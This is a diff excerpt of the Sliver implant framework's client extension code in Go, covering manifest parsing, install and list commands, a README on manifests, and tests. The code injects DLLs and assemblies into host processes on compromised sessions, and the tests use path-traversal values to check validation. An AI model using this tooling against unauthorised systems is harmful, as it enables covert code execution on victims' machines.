This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/help"
"github.com/bishopfox/sliver/client/spin"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
const (
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
linuxDefaultHostProc = "/bin/bash"
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
)
var commandMap map[string]extension
var defaultHostProc = map[string]string{
"windows": windowsDefaultHostProc,
"linux": windowsDefaultHostProc,
"darwin": macosDefaultHostProc,
}
type binFiles struct {
Ext64Path string `json:"x64"`
Ext32Path string `json:"x86"`
}
type extFile struct {
OS string `json:"os"`
Files binFiles `json:"files"`
}
type extensionCommand struct {
Name string `json:"name"`
Entrypoint string `json:"entrypoint"`
Help string `json:"help"`
LongHelp string `json:"longHelp"`
AllowArgs bool `json:"allowArgs"`
DefaultArgs string `json:"defaultArgs"`
ExtensionFiles []extFile `json:"extFiles"`
IsReflective bool `json:"isReflective"`
IsAssembly bool `json:"IsAssembly"`
}
func (ec *extensionCommand) getDefaultProcess(targetOS string) (proc string, err error) {
proc, ok := defaultHostProc[targetOS]
if !ok {
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
}
return
}
type extension struct {
Name string `json:"extensionName"`
Commands []extensionCommand `json:"extensionCommands"`
Path string
}
func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, c := range e.Commands {
if cmdName == c.Name {
for _, ef := range c.ExtensionFiles {
if targetOS == ef.OS {
switch targetArch {
case "x86":
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext32Path)
case "x64":
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
default:
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
}
}
}
}
}
if filePath == "" {
err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
}
return
}
func (e *extension) getCommandFromName(name string) (extCmd *extensionCommand, err error) {
for _, x := range e.Commands {
if x.Name == name {
extCmd = &x
return
}
}
err = fmt.Errorf("no extension command found for name %s", name)
return
}
func load(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
if len(ctx.Args) != 1 {
fmt.Printf(Warn + "Please provide an extension path\n")
return
}
// retrieve extension manifest
manifestPath := fmt.Sprintf("%s/%s", ctx.Args[0], "manifest.json")
jsonBytes, err := ioutil.ReadFile(manifestPath)
if err != nil {
fmt.Printf(Warn+"%v", err)
}
// parse it
ext := &extension{}
err = json.Unmarshal(jsonBytes, ext)
if err != nil {
fmt.Printf(Warn+"error loading extension: %v", err)
return
}
ext.Path = ctx.Args[0]
// for each extension command, add a new app command
for _, extCmd := range ext.Commands {
// do not add if the command already exists
if cmdExists(extCmd.Name, ctx.App) {
fmt.Printf(Warn+"%s command already exists\n", extCmd.Name)
return
}
fmt.Printf(Info+"Adding %s command: %s\n", extCmd.Name, extCmd.Help)
// Have to use a global map here, as passing the extCmd
// either by value or by ref fucks things up
commandMap[extCmd.Name] = *ext
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
ctx.App.AddCommand(&grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
AllowArgs: extCmd.AllowArgs,
Run: func(extCtx *grumble.Context) error {
fmt.Println()
runExtensionCommand(extCtx, rpc)
fmt.Println()
return nil
},
Flags: func(f *grumble.Flags) {
if extCmd.IsAssembly {
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
}
f.String("p", "process", "", "Path to process to host the shared object")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.ExtensionHelpGroup,
})
}
fmt.Printf(Info+"%s extension has been loaded\n", ext.Name)
}
func runExtensionCommand(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.Get()
if session == nil {
return
}
ext, ok := commandMap[ctx.Command.Name]
if !ok {
fmt.Printf(Warn+"No extension command found for `%s` command\n", ctx.Command.Name)
return
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
if err != nil {
fmt.Printf(Warn+"Error: %v\n", err)
return
}
c, err := ext.getCommandFromName(ctx.Command.Name)
if err != nil {
fmt.Printf(Warn+"Error: %v\n", err)
return
}
var args string
if len(c.DefaultArgs) != 0 {
args = c.DefaultArgs
}
if ctx.Command.AllowArgs {
if len(ctx.Args) > 0 {
args = strings.Join(ctx.Args[0:], " ")
}
}
entryPoint := c.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = c.getDefaultProcess(session.GetOS())
if err != nil {
fmt.Printf(Warn+"Error: %v\n", err)
return
}
}
isDLL := false
if filepath.Ext(binPath) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
fmt.Printf(Warn+"%s", err.Error())
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
}
if c.IsAssembly {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
go spin.Until(msg, ctrl)
executeAssemblyResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: ActiveSession.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: args,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
})
ctrl <- true
<-ctrl
if err != nil {
fmt.Printf(Warn+"Error: %v", err)
return
}
fmt.Printf(Info+"Output:\n%s", string(executeAssemblyResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssemblyResp.GetOutput())
fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
}
} else if c.IsReflective {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
go spin.Until(msg, ctrl)
spawnDllResp, err := rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: ActiveSession.Request(ctx),
Args: strings.Trim(args, " "),
Data: binData,
ProcessName: processName,
EntryPoint: c.Entrypoint,
})
ctrl <- true
<-ctrl
if err != nil {
fmt.Printf(Warn+"Error: %v", err)
return
}
fmt.Printf(Info+"Output:\n%s", spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
}
} else {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
go spin.Until(msg, ctrl)
sideloadResp, err := rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: ActiveSession.Request(ctx),
Args: args,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
})
ctrl <- true
<-ctrl
if err != nil {
fmt.Printf(Warn+"Error: %v", err)
return
}
fmt.Printf(Info+"Output:\n%s", sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
}
}
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
return true
}
}
return false
}
func init() {
commandMap = make(map[string]extension)
}
+67
View File
@@ -0,0 +1,67 @@
Extensions
===========
Allows to load and execute 3rd party extensions.
Extensions directory structures can be arbitrary, however in the root of the directory or .tar.gz there
must be a `extension.json` or a `alias.json` file. All paths are relative to the manifest/root directory,
parent directories are not allowed. Only files listed in the manifest are copied, any other files will
be ignored.
```shell
/path/to/extension/folder/
├── extension.json
└── windows
│ └── extension.x86.dll
│ └── extension.x64.dll
└── linux
│ └── extension.x86.so
│ └── extension.x64.so
└── darwin
└── extension.x86.dylib
└── extension.x64.dylib
```
Here's an example manifest (i.e., the `extension.json` or a `alias.json`):
```json
{
"name": "foo",
"version": "1.0.0",
"extension_author": "ac1d-burn",
"original_author": "zer0-cool",
"repo_url": "https://github.com/foo/bar",
"help": "Help for foo command",
"entrypoint": "RunFoo",
"init" :"NimMain",
"depends_on": "bar",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "extension.x64.o",
}
],
"arguments": [
{"name": "pid", "type": "int", "desc": "pid", "optional": false},
]
}
```
The structure is the following one:
- `name`: name of the extension, which will also be the name of the command in the sliver client
- `help`: the documentation for the new command
- `entrypoint`: the name of the exported function to call
- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
- `init`: the initialization function name (if relevant, can be omitted)
- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
- `depends_on`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
The `type` of an argument can be one of the following:
- `string`: regular ASCII string
- `wstring`: string that will be UTF16 encoded
- `int`: will be parsed as a 32 bit unsigned integer
- `short`: will be parsed as a 16 bit unsigned integer
- `file`: a string to a file path on the client side which content will be passed to the BOF
+125
View File
@@ -0,0 +1,125 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"fmt"
"io/ioutil"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
)
// ExtensionsCmd - List information about installed extensions
func ExtensionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if 0 < len(getInstalledManifests()) {
PrintExtensions(con)
} else {
con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
}
}
// PrintExtensions - Print a list of loaded extensions
func PrintExtensions(con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name",
"Command Name",
"Platforms",
"Version",
"Installed",
"Extension Author",
"Original Author",
"Repository",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
tw.SetColumnConfigs([]table.ColumnConfig{
{Number: 5, Align: text.AlignCenter},
})
installedManifests := getInstalledManifests()
for _, extension := range loadedExtensions {
installed := ""
if _, ok := installedManifests[extension.CommandName]; ok {
installed = "✅"
}
tw.AppendRow(table.Row{
extension.Name,
extension.CommandName,
strings.Join(extensionPlatforms(extension), ",\n"),
extension.Version,
installed,
extension.ExtensionAuthor,
extension.OriginalAuthor,
extension.RepoURL,
})
}
con.Println(tw.Render())
}
func extensionPlatforms(extension *ExtensionManifest) []string {
platforms := map[string]string{}
for _, entry := range extension.Files {
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
}
keys := []string{}
for key := range platforms {
keys = append(keys, key)
}
return keys
}
func getInstalledManifests() map[string]*ExtensionManifest {
manifestPaths := assets.GetInstalledExtensionManifests()
installedManifests := map[string]*ExtensionManifest{}
for _, manifestPath := range manifestPaths {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
continue
}
manifest := &ExtensionManifest{}
err = json.Unmarshal(data, manifest)
if err != nil {
continue
}
installedManifests[manifest.CommandName] = manifest
}
return installedManifests
}
// ExtensionsCommandNameCompleter - Completer for installed extensions command names
func ExtensionsCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
installedManifests := getInstalledManifests()
results := []string{}
for _, manifest := range installedManifests {
if strings.HasPrefix(manifest.CommandName, prefix) {
results = append(results, manifest.CommandName)
}
}
return results
}
@@ -0,0 +1,245 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"testing"
)
const (
sample1 = `{
"name": "test1",
"command_name": "test1",
"version": "1.0.0",
"extension_author": "test",
"original_author": "test",
"repo_url": "https://example.com/",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
]
}`
sample2 = `{
"name": "test2",
"command_name": "test2",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "../../../../foo/test1.dll"
}
]
}`
)
func TestParseExtensionManifest(t *testing.T) {
extManifest, err := ParseExtensionManifest([]byte(sample1))
if err != nil {
t.Fatalf("Error parsing extension manifest: %s", err)
}
if extManifest.Name != "test1" {
t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name)
}
if extManifest.CommandName != "test1" {
t.Errorf("Expected extension command name 'test1', got '%s'", extManifest.CommandName)
}
if extManifest.Version != "1.0.0" {
t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version)
}
if extManifest.ExtensionAuthor != "test" {
t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor)
}
if extManifest.OriginalAuthor != "test" {
t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor)
}
if extManifest.RepoURL != "https://example.com/" {
t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL)
}
if extManifest.Help != "some help" {
t.Errorf("Expected help 'some help', got '%s'", extManifest.Help)
}
if len(extManifest.Files) != 1 {
t.Errorf("Expected 1 file, got %d", len(extManifest.Files))
}
if extManifest.Files[0].OS != "windows" {
t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS)
}
if extManifest.Files[0].Arch != "amd64" {
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch)
}
if extManifest.Files[0].Path != "/foo/test1.dll" {
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path)
}
extManifest2, err := ParseExtensionManifest([]byte(sample2))
if err != nil {
t.Fatalf("Error parsing extension manifest (2): %s", err)
}
if extManifest2.Name != "test2" {
t.Errorf("Expected extension name 'test2', got '%s'", extManifest2.Name)
}
if extManifest2.CommandName != "test2" {
t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
}
if extManifest2.Help != "some help" {
t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
}
if len(extManifest2.Files) != 1 {
t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
}
if extManifest2.Files[0].OS != "windows" {
t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
}
if extManifest2.Files[0].Arch != "amd64" {
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
}
if extManifest2.Files[0].Path != "/foo/test1.dll" {
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
}
}
const (
sample3 = `{
"name": "test3",
"command_name": "test3",
"version": "1.0.0",
"extension_author": "test",
"original_author": "test",
"repo_url": "https://example.com/",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
]
}`
)
func TestParseExtensionManifestErrors(t *testing.T) {
sample3, err := ParseExtensionManifest([]byte(sample3))
if err != nil {
t.Fatalf("Failed to parse initial sample3: %s", err)
}
missingName := (*sample3)
missingName.Name = ""
data, _ := json.Marshal(missingName)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing name error, got none")
}
missingCmdName := (*sample3)
missingCmdName.CommandName = ""
data, _ = json.Marshal(missingCmdName)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing command name error, got none")
}
missingHelp := (*sample3)
missingHelp.Help = ""
data, _ = json.Marshal(missingHelp)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing help error, got none")
}
missingFiles := (*sample3)
missingFiles.Files = []*extensionFile{}
data, _ = json.Marshal(missingFiles)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files error, got none")
}
missingFileOS := (*sample3)
missingFileOS.Files = []*extensionFile{
{
OS: "",
Arch: "amd64",
Path: "foo/test1.dll",
},
}
data, _ = json.Marshal(missingFileOS)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.os error, got none")
}
missingFileArch := (*sample3)
missingFileArch.Files = []*extensionFile{
{
OS: "windows",
Arch: "",
Path: "foo/test1.dll",
},
}
data, _ = json.Marshal(missingFileArch)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.arch error, got none")
}
missingFilePath := (*sample3)
missingFilePath.Files = []*extensionFile{
{
OS: "windows",
Arch: "amd64",
Path: "",
},
}
data, _ = json.Marshal(missingFilePath)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.path error, got none")
}
invalidPaths := []string{
"../../../../../",
"/../../../../..",
".",
"/",
}
for _, invalidPath := range invalidPaths {
missingFilePath2 := (*sample3)
missingFilePath2.Files = []*extensionFile{
{
OS: "windows",
Arch: "amd64",
Path: invalidPath,
},
}
data, _ = json.Marshal(missingFilePath2)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.path error, got none")
}
}
}
+174
View File
@@ -0,0 +1,174 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// ExtensionsInstallCmd - Install an extension
func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
extLocalPath := ctx.Args.String("path")
fi, err := os.Stat(extLocalPath)
if os.IsNotExist(err) {
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
return
}
if !fi.IsDir() {
InstallFromFilePath(extLocalPath, false, con)
} else {
installFromDir(extLocalPath, con)
}
}
// Install an extension from a directory
func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
manifestData, err := ioutil.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
if err != nil {
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
return
}
manifest, err := ParseExtensionManifest(manifestData)
if err != nil {
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
return
}
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Extension '%s' already exists", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nError creating extension directory: %s\n", err)
return
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return
}
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
err := util.CopyFile(src, dst)
if err != nil {
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
forceRemoveAll(installPath)
return
}
}
}
}
// InstallFromFilePath - Install an extension from a .tar.gz file
func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
if err != nil {
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err)
return nil
}
manifest, err := ParseExtensionManifest(manifestData)
if err != nil {
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
return nil
}
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
if !autoOverwrite {
con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return nil
}
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nFailed to create extension directory: %s\n", err)
return nil
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return nil
}
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
if err != nil {
con.PrintErrorf("\nFailed to install file: %s\n", err)
forceRemoveAll(installPath)
return nil
}
}
}
con.Printf("done!\n")
return &installPath
}
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
if err != nil {
return err
}
if len(data) == 0 {
return fmt.Errorf("archive path '%s' is empty", "."+artifactPath)
}
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
artifactDir := filepath.Dir(localArtifactPath)
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
err := os.MkdirAll(artifactDir, 0o700)
if err != nil {
return err
}
}
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
if err != nil {
return err
}
return nil
}
+54
View File
@@ -0,0 +1,54 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// ExtensionsListCmd - List all extension loaded on the active session/beacon
func ExtensionsListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if extList.Response != nil && extList.Response.Err != "" {
con.PrintErrorf("%s\n", extList.Response.Err)
return
}
if len(extList.Names) > 0 {
con.PrintInfof("Loaded extensions:\n")
for _, ext := range extList.Names {
con.Printf("- %s\n", ext)
}
}
}
+505
View File
@@ -0,0 +1,505 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
defaultTimeout = 60
// ManifestFileName - Extension manifest file name
ManifestFileName = "extension.json"
)
var loadedExtensions = map[string]*ExtensionManifest{}
type ExtensionManifest struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
Version string `json:"version"`
ExtensionAuthor string `json:"extension_author"`
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Files []*extensionFile `json:"files"`
Arguments []*extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"depends_on"`
Init string `json:"init"`
RootPath string `json:"-"`
}
type extensionFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
}
type extensionArgument struct {
Name string `json:"name"`
Type string `json:"type"`
Desc string `json:"desc"`
Optional bool `json:"optional"`
}
func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
filePath := ""
for _, extFile := range e.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
break
}
}
if filePath == "" {
err := fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
return "", err
}
if _, err := os.Stat(filePath); os.IsNotExist(err) {
err = fmt.Errorf("extension file not found: %s", filePath)
return "", err
}
return filePath, nil
}
// ExtensionLoadCmd - Load extension command
func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
if err != nil {
return
}
// do not add if the command already exists
if CmdExists(extCmd.CommandName, con.App) {
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
return
}
ExtensionRegisterCommand(extCmd, con)
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
}
// LoadExtensionManifest - Parse extension files
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
extManifest, err := ParseExtensionManifest(data)
if err != nil {
return nil, err
}
extManifest.RootPath = filepath.Dir(manifestPath)
loadedExtensions[extManifest.CommandName] = extManifest
return extManifest, nil
}
// ParseExtensionManifest - Parse extension manifest from buffer
func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
extManifest := &ExtensionManifest{}
err := json.Unmarshal(data, &extManifest)
if err != nil {
return nil, err
}
if extManifest.Name == "" {
return nil, errors.New("missing `name` field in extension manifest")
}
if extManifest.CommandName == "" {
return nil, errors.New("missing `command_name` field in extension manifest")
}
if len(extManifest.Files) == 0 {
return nil, errors.New("missing `files` field in extension manifest")
}
for _, extFiles := range extManifest.Files {
if extFiles.OS == "" {
return nil, errors.New("missing `files.os` field in extension manifest")
}
if extFiles.Arch == "" {
return nil, errors.New("missing `files.arch` field in extension manifest")
}
extFiles.Path = util.ResolvePath(extFiles.Path)
if extFiles.Path == "" || extFiles.Path == "/" {
return nil, errors.New("missing `files.path` field in extension manifest")
}
extFiles.OS = strings.ToLower(extFiles.OS)
extFiles.Arch = strings.ToLower(extFiles.Arch)
}
if extManifest.Help == "" {
return nil, errors.New("missing `help` field in extension manifest")
}
return extManifest, nil
}
// ExtensionRegisterCommand - Register a new extension command
func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverConsoleClient) {
loadedExtensions[extCmd.CommandName] = extCmd
helpMsg := extCmd.Help
extensionCmd := &grumble.Command{
Name: extCmd.CommandName,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCmd(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
// f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
